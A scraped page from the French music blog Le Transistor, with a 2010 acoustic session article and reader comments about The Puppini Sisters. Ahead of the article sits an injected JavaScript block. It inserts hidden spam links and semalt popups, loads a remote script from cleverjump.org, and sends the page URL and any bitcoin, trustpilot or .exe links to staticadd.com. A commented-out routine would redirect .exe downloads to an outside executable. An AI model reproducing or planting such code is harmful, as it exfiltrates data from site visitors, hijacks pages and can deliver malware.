Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Meryl Rachel Lopez is the best customer service representative I ve spoken with. She is very professional and helpful. phi goldene zahl<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Sabrina Menses was very helpful and always quick to respond! The best!!! \u5728\u7dda \u8ced\u5834 \u9580\u6236<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Jotun Paints new showroom at Al Ain mall looks great. Spacious and well designed showroom that displays new products by Jotun. The staff are great and very helpful. Traffic in the parking lot at certain hours at night can be bad. how long for dvt to develop<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Pancake menu has lots of variety, the pancakes are huge and reasonably priced. There is a small playground with a flying fox and that keeps kids entertained for a while. \u514d\u8cbb \u8ced\u535a \u904a\u6232<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good place with all vegetarian food can spend time for family and friends can enjoy together. \u5361\u5229\u7cfb\u7d71\u8a55\u50f9<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
If you only ever go to one restaurant then The Fat Duck is the one not only fantastic food but the service and staff are amazing. diy architect<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Pleasant atmosphere and delicious food. Staff is always friendly. Its our favorite date night spot. temporary industrial storage buildings<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Love the chicken burger with fried egg. And the fruit tea is amazing. plastic mold manufacturer<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Excellent meal, quality fresh ingredients, and a top notch staff; very friendly and knowledgeable of their food. Brussel sprouts and meatball starters are yum, the pasta dishes are fantastic. metal cutting machine laser<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great. I went to Kentucky State Fair and was shocked at the site of the ability to open so many people and exhibitions. All very good! cámaras ip cataluña estancos<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
after dealing with several dealerships Jim Mckay was the one for me they helped me find the car I was looking for. I love the car I purchased and was very satisfy with the costumer service. digital marketing site<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Excellent. Timely. Trustworthy. I appreciate Lupes good service. Tom Baker door sill<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
A very innovative and organised residential construction company with forward thinking management and staff. weed and training<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
More communication when waiting over an hour for a room would of been appreciated. Service not that great. \u5a5a\u79ae \u9304\u5f71 \u50f9\u9322<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I saw Aladdin and it was amazing. The theater was beautiful. The seats are kinda small and cramped but the show is well worth it. achat mousse emballage cadeaux<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Beautiful location: former headquarters of firefighters, maintains many specific equipment. Very kind staff. Sweetest view indeed! sources of motivation by maslow’s hierarchy of needs.<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Convention Center is great..... parking kinda troublesome cosmetic training academy<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Room service for my question where is my place, or whether I can choose a chair for a table answered Paaanie, there are twice as many people as chairs also a little poor when it comes to usar bolsas reciclables<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Does not worth the money, it is more a family oriented theme park, not recommended at all plumbing services residential<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good advice .. Quickly bought ... Great offer. Unfortunately, you had to wait a long time until the goods were taken out, which was not ready even if the sample items were there. \u05d1\u05e8\u05de\u05ea \u05d2\u05df \u05e6\u05d9\u05dc\u05d5\u05dd<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Thats a good place to relax, casino, shoping, game indoor, with location on a top of high mountain, Genting always cool every times in year gambling seo<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Best place for a beer.. good crowd friendly bar tenders rozetta technology<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great venue, great service, absolutely hilarious show. Wasnt too difficult to find available street parking. coastal properties of georgia<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Scandalous. Disorganized. Hours of waiting and endless queues. kave bình tr\u01b0ng<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Interesting little strip in downtown Hot Springs for browsing and eating. Lights in the winter time are a nice festive touch. \u0432\u0438\u0431\u0440\u0430\u0442\u043e\u0440 \u043a\u043b\u0438\u0442\u043e\u0440\u0430 \u044f\u0439\u0446\u043e<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Dr. ANDREW saves my life along with Dr. Filione! Thank you! \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u0433\u0440\u0430\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Upscale restaurant on the water. If you want a specific table (sun, shade, outside) you will need a reservation. Shiv samadha enterprises<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lost all night and the smokers, the reason for 3 stars. Otherwise a clean fun place to gamble. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Hotel in a great location. Friendly and helpful staff who are available 24\/7. Just a pity that there is no fridge in the room semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Service was very good. Staff were professional in carrying out their duties semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
nieruchomosci gruzja batumi<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Meryl Rachel Lopez is the best customer service representative I ve spoken with. She is very professional and helpful. phi goldene zahl<\/a>.<\/article>
Sabrina Menses was very helpful and always quick to respond! The best!!! \u5728\u7dda \u8ced\u5834 \u9580\u6236<\/a>.<\/article>
Jotun Paints new showroom at Al Ain mall looks great. Spacious and well designed showroom that displays new products by Jotun. The staff are great and very helpful. Traffic in the parking lot at certain hours at night can be bad. how long for dvt to develop<\/a>.<\/article>
Pancake menu has lots of variety, the pancakes are huge and reasonably priced. There is a small playground with a flying fox and that keeps kids entertained for a while. \u514d\u8cbb \u8ced\u535a \u904a\u6232<\/a>.<\/article>
Good place with all vegetarian food can spend time for family and friends can enjoy together. \u5361\u5229\u7cfb\u7d71\u8a55\u50f9<\/a>.<\/article>
If you only ever go to one restaurant then The Fat Duck is the one not only fantastic food but the service and staff are amazing. diy architect<\/a>.<\/article>
Pleasant atmosphere and delicious food. Staff is always friendly. Its our favorite date night spot. temporary industrial storage buildings<\/a>.<\/article>
Love the chicken burger with fried egg. And the fruit tea is amazing. plastic mold manufacturer<\/a>.<\/article>
Excellent meal, quality fresh ingredients, and a top notch staff; very friendly and knowledgeable of their food. Brussel sprouts and meatball starters are yum, the pasta dishes are fantastic. metal cutting machine laser<\/a>.<\/article>
Great. I went to Kentucky State Fair and was shocked at the site of the ability to open so many people and exhibitions. All very good! cámaras ip cataluña estancos<\/a>.<\/article>
after dealing with several dealerships Jim Mckay was the one for me they helped me find the car I was looking for. I love the car I purchased and was very satisfy with the costumer service. digital marketing site<\/a>.<\/article>
Excellent. Timely. Trustworthy. I appreciate Lupes good service.\r\n\r\nTom Baker door sill<\/a>.<\/article>
A very innovative and organised residential construction company with forward thinking management and staff. weed and training<\/a>.<\/article>
More communication when waiting over an hour for a room would of been appreciated. Service not that great. \u5a5a\u79ae \u9304\u5f71 \u50f9\u9322<\/a>.<\/article>
I saw Aladdin and it was amazing. The theater was beautiful. The seats are kinda small and cramped but the show is well worth it. achat mousse emballage cadeaux<\/a>.<\/article>
Beautiful location: former headquarters of firefighters, maintains many specific equipment. Very kind staff. Sweetest view indeed! sources of motivation by maslow’s hierarchy of needs.<\/a>.<\/article>
Convention Center is great..... parking kinda troublesome cosmetic training academy<\/a>.<\/article>
Room service for my question where is my place, or whether I can choose a chair for a table answered Paaanie, there are twice as many people as chairs also a little poor when it comes to usar bolsas reciclables<\/a>.<\/article>
Does not worth the money, it is more a family oriented theme park, not recommended at all plumbing services residential<\/a>.<\/article>
Good advice .. Quickly bought ... Great offer. Unfortunately, you had to wait a long time until the goods were taken out, which was not ready even if the sample items were there. \u05d1\u05e8\u05de\u05ea \u05d2\u05df \u05e6\u05d9\u05dc\u05d5\u05dd<\/a>.<\/article>
Thats a good place to relax, casino, shoping, game indoor, with location on a top of high mountain, Genting always cool every times in year gambling seo<\/a>.<\/article>
Best place for a beer.. good crowd friendly bar tenders rozetta technology<\/a>.<\/article>
Great venue, great service, absolutely hilarious show. Wasnt too difficult to find available street parking. coastal properties of georgia<\/a>.<\/article>
Scandalous. Disorganized. Hours of waiting and endless queues. kave bình tr\u01b0ng<\/a>.<\/article>
Interesting little strip in downtown Hot Springs for browsing and eating. Lights in the winter time are a nice festive touch. \u0432\u0438\u0431\u0440\u0430\u0442\u043e\u0440 \u043a\u043b\u0438\u0442\u043e\u0440\u0430 \u044f\u0439\u0446\u043e<\/a>.<\/article>
Dr. ANDREW saves my life along with Dr. Filione! Thank you! \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u0433\u0440\u0430\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443<\/a>.<\/article>
Upscale restaurant on the water. If you want a specific table (sun, shade, outside) you will need a reservation. Shiv samadha enterprises<\/a>.<\/article>
Lost all night and the smokers, the reason for 3 stars. Otherwise a clean fun place to gamble. semalt net<\/a>.<\/article>
Hotel in a great location. Friendly and helpful staff who are available 24\/7. Just a pity that there is no fridge in the room semalt net<\/a>.<\/article>
Service was very good. Staff were professional in carrying out their duties semalt net<\/a>.<\/article>nieruchomosci gruzja batumi<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor Sessions The Puppini Sisters

The Puppini Sisters

Publié le 22 Jun 2010
Réalisateur : Benjamin Lemaire Rédacteur : Benjamin Lemaire

Email, RSS Follow
Email

Avec leurs petites têtes d’Andrew Sisters, les frangines musicales de Marcella Puppini sont étonnamment rétros sans jamais être dépassées. Entre leurs compositions originales qui ne sont pas sans rappeler la joyeuse époques des casinos de Macao et leurs reprises remises au gout du jour à base d’harmonies vocales, les Puppini Sisters étonnent et attisent la curiosité.

C’est pourquoi, quand j’ai appris que Marcella, Stephanie et Kate passaient à Paris, je leur ai immédiatement demandé si elles avaient du temps pour enregistrer un ou deux morceaux, ma dernière rencontre avec Marcella lors des SK*(wat) Sessions ayant ai l’occasion d’une bonne rigolade. Rendez-vous est pris le dimanche, quelques heures avant de monter sur scène… Comble du bonheur, Marcella me laisse choisir les morceaux que je veux… La vraie vie !

The Puppini Sisters – Bei Mir Bist Du Schön

YouTube Preview Image

The Puppini Sisters – Heart of Glass

YouTube Preview Image

Bonux trax : Marcella Puppini – The Dancer (SK*(wat) Sessions #7)

YouTube Preview Image
Email, RSS Follow
Email

Remerciements : Darren, Giles, Charlotte, Marcella, Stephanie et Kate

Catégorie : Sessions
Artiste(s) : Marcella Puppini, The Puppini Sisters

5 réactions »

  • cha_volvox :

    RT @le_transistor: [Session] Exclu Transistor ! The Puppini Sisters par @benjaminlemaire – http://www.letransistor.com/1926-session…

    Le 22 June 2010 à 9 h 16 min
  • Tweets that mention Sessions – The Puppini Sisters | Le Transistor -- Topsy.com :

    […] This post was mentioned on Twitter by charlotte benoit, Le Transistor. Le Transistor said: [Session] Exclu Transistor ! The Puppini Sisters par @benjaminlemaire – http://bit.ly/bdOwEu […]

    Le 22 June 2010 à 10 h 19 min
  • Rodge :

    Excellent ! ça donne le sourire

    Le 23 June 2010 à 12 h 32 min
  • Près De Chez Toi – Dernière ligne droite | Le Transistor :

    […] sortie de son nouvel EP au Social Club. Amateurs de musique des années 40 ? The Puppini Sisters (session ici) sont au Café de la Danse. En mal de métal ? allez vous consoler avec AqME et Mass Hysteria au […]

    Le 30 December 2010 à 11 h 44 min
  • 2010 : musique et découvertes | Le Transistor :

    […] 3D chez MK2 Caroline Loeb en session acoustique après qu’elle ai vu mon appel sur un article Marcella Puppini et ses sisters Yann Tiersen qui nous reçoit chez lui, faisant semblant de pas voir à quel point on est […]

    Le 24 May 2011 à 11 h 57 min

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

img_5785 SAMSUNG CSC SAM_0551 3-Angele-31